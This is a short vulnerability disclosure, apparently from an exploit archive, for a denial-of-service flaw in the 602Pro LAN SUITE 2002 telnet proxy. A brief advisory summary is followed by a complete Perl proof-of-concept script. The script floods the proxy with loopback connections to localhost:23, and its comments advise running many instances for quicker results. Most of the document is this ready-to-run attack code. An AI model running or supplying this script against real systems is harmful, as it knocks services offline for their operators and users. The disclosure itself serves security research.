source: http://www.securityfocus.com/bid/5416/info The 602Pro LAN SUITE 2002 Telnet Proxy is reported to be prone to a denial of service condition. It is possible for proxy users to use the loopback interface to connect to localhost. If a large number of these connections are made concurrently, it is possible to cause a denial of service via resource exhaustion. #!/usr/bin/perl # # lansuite-proxy-DoS.pl - 602Pro LAN SUITE 2002 telnet proxy DoS # # Note: Try very high number of connections and run multiple instances # of the script for quick results. # # Date: August 3, 2002 # Author: Stan Bubrouski (stan@ccs.neu.edu) if (!$ARGV[2]) { print "Usage $0 \n\n"; exit(); } $host = $ARGV[0]; $port = $ARGV[1]; $numc = $ARGV[2]; use Net::Telnet (); $t = new Net::Telnet; $t->open(Host => $host,Port => $port); foreach(1...$numc) { $t->waitfor('/.*host.*/'); $t->print('localhost:23'); }